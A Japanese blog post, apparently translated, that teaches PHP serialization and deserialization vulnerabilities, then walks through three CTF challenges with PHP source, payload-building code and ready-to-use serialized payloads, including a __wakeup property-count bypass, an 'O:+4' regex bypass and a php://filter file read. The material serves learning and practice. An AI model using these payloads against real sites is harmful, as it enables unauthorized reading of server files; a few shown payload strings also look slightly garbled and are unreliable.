banner
肥皂的小屋

肥皂的小屋

github
steam
bilibili
douban
tg_channel

php逆シリアル化学習

事情の発端#

最近、衝動的に高性能なデスクトップを購入し、メモリを 32G に増設した後、社内ネットワークのプロキシに関する記事を書こうという衝動が湧いてきましたが、少し落ち着いています。

タイトルの通り、最近は不足している知識を補うために、ずっと聞いていたが再現したことのない脆弱性を学んでいます。これから大量に SRC を刷り始める準備をしています。

もし SRC を大量に刷るための良い方法があれば、私も共有します。

この記事では、php の逆シリアル化から始めて、シリアル化、逆シリアル化、逆シリアル化脆弱性の概念といくつかの例を簡単に紹介します。

環境構築#

まず、エディタは引き続きvsc(visual studio code) を推奨します。

次に、php環境が必要です。ここでは、さまざまな統合環境をそのまま使用します。wamppxamppでも大丈夫です。

私が使用しているのはphpstudy proで、デフォルトでphp7のバージョンがインストールされています。

インストールが完了したら、vscを再起動し、phpstudyのウェブサイトのルートディレクトリに新しくindex.phpファイルを作成して保存します。

vscは自動的にシステムに登録されたphpのパスを見つけてくれます。ファイル内でshift + alt + fを押してコードを迅速にフォーマットすると、phpフォーマッターツールがインストールされていないというメッセージが表示されますので、最初のものをインストールしてください。

Apacheを起動し、適当に以下のコードを書きます。

<?php echo "hellow world!";

ブラウザで127.0.0.1にアクセスすれば、あなたは今php環境を持っています。

概念学習#

シリアル化とは何ですか?

php プログラムはオブジェクトを保存およびダンプするためのシリアル化メソッドを提供します。php のシリアル化は、プログラムの実行中にオブジェクトをダンプするために生成されます。シリアル化はオブジェクトを文字列に変換できますが、オブジェクト内のメンバー変数のみを保持し、関数メソッドは保持しません。

シリアル化と逆シリアル化を一言でまとめると:シリアル化はオブジェクトを文字列に変換し、逆シリアル化は文字列をオブジェクトに変換します。

以下に簡単に説明します。まず、新しいコードを作成します。

<?php


class Student
{
    public $name = "studentone";
    function getName()
    {
        return "soapffz";
    }
    function __construct()
    {
        echo "__construct";
        echo "</br>";
    }
}
$s = new Student();
echo $s->getName() . "</br>";

これはクラスのメソッドを正常に呼び出す例です:

image

では、シリアル化とは何を意味するのでしょうか?最後にコードを追加します。

//serialize functionはオブジェクトを文字列に変換します
$s_serilize = serialize($s);
print_r($s_serilize);

出力は:O:7:"Student":1:{s:4:"name";s:10:"studentone";}

このシリアル化後に得られた文字列の説明は以下の通りです:

  • O:これはオブジェクトタイプです
  • 7;このオブジェクト名の長さは 7 です
  • Student:オブジェクト名
  • 1:このオブジェクトには 1 対のキーと値があります
  • s:このキーのタイプは文字列です
  • 4:このキー名の長さは 4 です
  • name:キー名

残りは順に推測できます。もちろん、私の解釈は正確でないかもしれませんので、公式の説明を確認することをお勧めします。

これがシリアル化のプロセスです。このオブジェクトのすべてのタイプと含まれる内容を単純なフォーマットされた文字列データに変換しました。

逆シリアル化のプロセスを見てみましょう:

<?php
$Student = 'O:7:"Student":1:{s:4:"name";s:10:"studentone";}';
$s_unserilize = unserialize($Student);
print_r($s_unserilize);
echo "</br>";

出力は;Student Object ( [name] => studentone )

これが逆シリアル化のプロセスです。標準のタイプとデータを含む文字列をオブジェクトに逆シリアル化しました。

オブジェクトでよく使われるマジックメソッドは以下の通りです:

  • __construct:オブジェクトを作成する際に初期化します。一般的に変数に初期値を設定するために使用されます。

  • __destruct:コンストラクタの逆で、オブジェクトが存在する関数が終了した後に実行されます。

  • __toString:オブジェクトが文字列として使用されるときに呼び出されます。

  • __sleep: オブジェクトをシリアル化する前にこのメソッドが呼び出されます(戻り値は配列が必要です)。

  • __wakeup: 逆シリアル化してオブジェクトを復元する前にこのメソッドが呼び出されます。

  • __call: オブジェクト内に存在しないメソッドが呼び出されると自動的にこのメソッドが呼び出されます。

  • __get: プライベートプロパティが呼び出されると自動的に実行されます。

  • isset () はアクセスできないプロパティで isset () または empty () を呼び出すとunset () はアクセスできないプロパティで unset () を使用するとトリガーされます。

この文字列は必ず前後が一対一で対応している必要があります。

例えば、前のオブジェクト部分でこのオブジェクトには 1 対のキーと値があると示されているのに、後で 2 対のキーと値を書いた場合、正常に逆シリアル化を完了することはできません。これが後の逆シリアル化脆弱性で__wakeup () 関数を回避する鍵です。

__wakeup () 関数の脆弱性#

上記ではシリアル化と逆シリアル化の基本概念を紹介しました。次に、php逆シリアル化脆弱性の核心を例を使って紹介します(今のところこの関数にしか触れていません)。

<?php
class Student{
public $full_name = 'zhangsan';
public $score = 150;
public $grades = array();

function __wakeup() {
echo "__wakeup is invoked";
}
}

$s = new Student();
var_dump(serialize($s));
  • 最後のページに出力されるのは Student オブジェクトのシリアル化出力です:

  • O:7:"Student":3:{s:9:"full_name";s:8:"zhangsan";s:5:"score";i:150;s:6:"grades";a:0:{}}

  • その中で Stuedent クラスの後にある数字 3 は、Student クラスに 3 つのプロパティが存在することを示しています。

  • wakeup () 脆弱性は、全体のプロパティの数値に関連しています。シリアル化された文字列がオブジェクトのプロパティの数を示す値が実際のプロパティの数を超えると、wakeup の実行がスキップされます。

  • 上記のシリアル化された文字列のオブジェクトのプロパティの数を 5 に変更すると、次のようになります。

  • O:7:"Student":5:{s:9:"full_name";s:8:"zhangsan";s:5:"score";i:150;s:6:"grades";a:0:{}}

  • 最後に実行されるコードは以下の通りです:

<?php
class Student
{
    public $full_name = 'zhangsan';
    public $score = 150;
    public $grades = array();

    function __wakeup()
    {
        echo "__wakeup is invoked";
    }
    function __destruct()
    {
        var_dump($this);
    }
}

$s = new Student();
$stu = unserialize('O:7:"Student":5:{s:9:"full_name";s:8:"zhangsan";s:5:"score";i:150;s:6:"grades";a:0:{}}');
echo $stu;

image

ctf 例 1#

攻防世界から -> web 高手進階区 -> Web_php_unserialize

image

ウェブページに表示されるソースコードは以下の通りです:

<?php
class Demo
{
    private $file = 'index.php';
    public function __construct($file)
    {
        $this->file = $file;
    }
    function __destruct()
    {
        echo @highlight_file($this->file, true);
    }
    function __wakeup()
    {
        if ($this->file != 'index.php') {
            //秘密はfl4g.phpにあります
            $this->file = 'index.php';
        }
    }
}
if (isset($_GET['var'])) {
    $var = base64_decode($_GET['var']);
    if (preg_match('/[oc]:\d+:/i', $var)) {
        die('hackingを停止してください!');
    } else {
        @unserialize($var);
    }
} else {
    highlight_file("index.php");
}

コードの説明:

  • このコードは、上記の簡単な例と大きく変わらないクラスの関数を生成します:

  • __construct ()、作成時に自動的に呼び出され、得られたパラメータで $file を上書きします。

  • __destruct ()、破棄時に呼び出され、ファイルのコードを表示します。ここでは fl4g.php を表示します。

  • __wakeup ()、逆シリアル化時に呼び出され、$file を index.php にリセットします。

  • Demo クラスには 3 つのメソッドがあります。1 つはコンストラクタ、1 つはデストラクタ、もう 1 つはマジックメソッドです。コンストラクタconstruct () はプログラムの実行開始時に変数に初期値を設定します。デストラクタdestruct () はオブジェクトが存在する関数が実行完了後に自動的に呼び出され、ここでファイルをハイライト表示します。

  • Demo クラスをシリアル化し、base64 でエンコードして var 変数に代入し、GET パラメータとして渡すだけです。

  • もしクラスが wakeup () と destruct () を定義している場合、そのクラスのインスタンスが逆シリアル化されると、自動的に wakeup () が呼び出され、ライフサイクルが終了すると destruct () が呼び出されます。

  • PHP5 < 5.6.25、PHP7 < 7.0.10 のバージョンには wakeup の脆弱性があります。逆シリアル化中にオブジェクトの数が以前の数と異なる場合、wakeup は回避されます。

  • 正規表現マッチングは + 記号を使って回避できます。つまり O:4 を O:+4 にすれば回避できます。

  • isset () 関数は変数が設定されていて NULL でないかどうかを検出するために使用されます。

  • すでに unset () で変数を解放した後、isset () で判断すると FALSE が返されます。

  • NULL 文字("\0")は PHP の NULL 定数とは異なることに注意してください。

  • PHP バージョンの要件:PHP 4、PHP 5、PHP 7

ソースコードの後に呼び出しコードを追加します:

$a = new Demo("fl4g.php");
$a = serialize($a);
echo $a;
//O:4:"Demo":1:{s:10:" Demo file";s:8:"fl4g.php";}
$a = str_replace('O:4', 'O:+4', $a);
$a = str_replace('1:{', '2:{', $a);
echo $a;
//O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}
echo base64_encode($a);
//TzorNDoiOiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

ここで注意すべき点は、コードの 4 行目でfile変数がprivateのため、シリアル化された後の文字列の先頭と末尾に空白文字(つまり %00)があるため、文字列の長さも実際の長さより 2 大きくなります。シリアル化結果をオンラインのbase64サイトにコピーしてエンコードすると、空白文字が失われる可能性があるため、ここでは直接phpコード内でエンコードします。似たようなことがprotected型の変数にも当てはまり、シリアル化された後の文字列の先頭に%00*%00が追加されます。

最後に直接あなたのターゲットアドレスにアクセスします/index.php?var=TzorNDoiOiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

これでflagを得ることができます。

image

ctf 例 2#

攻防世界から -> web 高手進階区 -> unserialize3

image

class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=

ウェブサイトを開くと、このようなコードがあり、__wakeup関数を回避する必要があります。結果?code=のヒントがあり、シリアル化された後の値をcodeに渡す必要があります。

まず、xctfクラスをインスタンス化し、それをシリアル化します(ここではxctfクラスをオブジェクトtestとしてインスタンス化します)。

<?php
class xctf
{                      //xctfという名前のクラスを定義
    public $flag = '111';            //公開のクラスプロパティ$flagを定義し、値を111に設定
    public function __wakeup()
    {      //公開のクラスメソッド__wakeup()を定義し、bad requestsを出力してスクリプトを終了
        exit('bad requests');
    }
}
$test = new xctf();           //new演算子を使用してxctfクラスのオブジェクトをtestとしてインスタンス化
echo (serialize($test));       //シリアル化されたオブジェクト(test)を出力
//O:4:"xctf":1:{s:4:"flag";s:3:"111";}
  • 私たちは xctf クラスを逆シリアル化する際に、wakeup メソッドの実行を回避する必要があります(wakeup () メソッドを回避しないと、bad requests が出力され、スクリプトが終了します)。wakeup () 関数の脆弱性の原理:シリアル化された文字列がオブジェクトのプロパティの数を示す値が実際のプロパティの数を超えると、wakeup の実行がスキップされます。したがって、シリアル化された文字列のプロパティの数を変更する必要があります。

  • 上記のシリアル化された文字列のオブジェクトのプロパティの数を実際の値 1 から 2 に変更すると、次のようになります。

  • O:4:"xctf":2:{s:4:"flag";s:3:"111";}

  • URL にアクセスします:?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}

  • これで flag を得ることができます。

image

ctf 例 3#

2020 年網鼎杯青龍組WEB問題AreUSerialzから、ctfhub 靶場で検索できます。

<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler
{
    protected $op;
    protected $filename;
    protected $content;
    function __construct()
    {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }
    public function process()
    {
        if ($this->op == "1") {
            $this->write();
        } else if ($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }
    private function write()
    {
        if (isset($this->filename) && isset($this->content)) {
            if (strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if ($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }
    private function read()
    {
        $res = "";
        if (isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }
    private function output($s)
    {
        echo "[Result]: <br>";
        echo $s;
    }
    function __destruct()
    {
        if ($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }
}
function is_valid($s)
{
    for ($i = 0; $i < strlen($s); $i++)
        if (!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}
if (isset($_GET{'str'})) {
    $str = (string)$_GET['str'];
    if (is_valid($str)) {
        $obj = unserialize($str);
    }
}

最後に実行される部分のコードを見てみましょう:

if (isset($_GET{'str'})) {
    $str = (string)$_GET['str'];
    if (is_valid($str)) {
        $obj = unserialize($str);
    }
}

GET型のパラメータstrがあり、is_valid()メソッドで判断され、条件を満たす場合に文字列化されたstrが逆シリアル化されます。次に、is_valid()を見てみましょう。

function is_valid($s)
{
    for ($i = 0; $i < strlen($s); $i++)
        if (!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

渡されたパラメータの各文字のasciiコードを判断し、[32,125] の範囲にあるかどうかを確認します。可視文字でない場合はfalseを返します。逆シリアル化操作は行われません。次に、__destructデストラクタメソッドを見てみましょう。

function __destruct()
    {
        if ($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

もし op==="2" であれば、"1" に設定され、同時にcontentが空になります。process関数に入ります。

ここで注意すべき点は、op と "2" を比較する際に強い型比較が行われることです。

  • === 強い型比較では、比較の際に 2 つの文字列の型が等しいかどうかを判断し、その後に比較が行われます。

  • == 弱い型比較では、比較の際に文字列が同じ型に変換され、その後に比較が行われます(比較に数値内容の文字列が含まれる場合、文字列は数値に変換され、変換後の数値に基づいて比較が行われます)。

public function process()
    {
        if ($this->op == "1") {
            $this->write();
        } else if ($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

process関数に入ると、もし op=="1" であればwrite関数に入ります。もし op=="2" であればread関数に入ります。そうでなければエラーが出力されます。ここで op と文字列の比較が弱い型比較 == に変わります。

したがって、op=2 に設定すれば、ここでの 2 は整数intです。op=2 のとき、op==="2" はfalseになり、op=="2" は true になります。次にread関数に入ります。

private function read()
    {
        $res = "";
        if (isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

filenameは私たちが制御できるもので、次にfile_get_contents関数を使用してファイルを読み取ります。この場合、直接flag.phpを読み取ることができます。時にはphpの擬似プロトコルも考慮されることがありますが、もしphpの擬似プロトコルに遭遇した場合、単にその後のflag.phpを次のように変更すれば良いです。

php://filter/read=convert.base64-encode/resource=flag.php

この問題では擬似プロトコルは考慮されていませんが、ファイルを取得した後、output関数を使用して出力します。

全体の利用の流れは非常に明確です。また、注意すべき点は、$op、$filename、$content の 3 つの変数の権限がすべて protected であるため、protected権限の変数はシリアル化時に%00*%00文字が追加されます。%00文字のASCIIコードは 0 であり、これにより上記のis_valid関数で検証されなくなります。

まず、シリアル化された文字列を生成しましょう。$filenameを読みたいファイルに変更します:

<?php
class FileHandler
{

    protected $op=2;
    protected $filename="flag.php";
    protected $content="";
}

$ff=new FileHandler();
echo serialize($ff);

生成された結果は以下の通りです:

O:11:"FileHandler":3:{s:5:"*op";i:2;s:11:"*filename";s:8:"flag.php";s:10:"*content";s:0:"";}

注意すべき点は、protected型のメンバー変数がシリアル化されると%00が生成され、falseになります。php7ではクラスの属性に敏感ではないため、public型に変更すれば問題ありません。

O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:0:"";}

これでパラメータを渡すことができます:

?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:0:"";}

右クリックしてウェブページのソースコードを表示すればflagが得られます。

image

参考記事:

読み込み中...
文章は、創作者によって署名され、ブロックチェーンに安全に保存されています。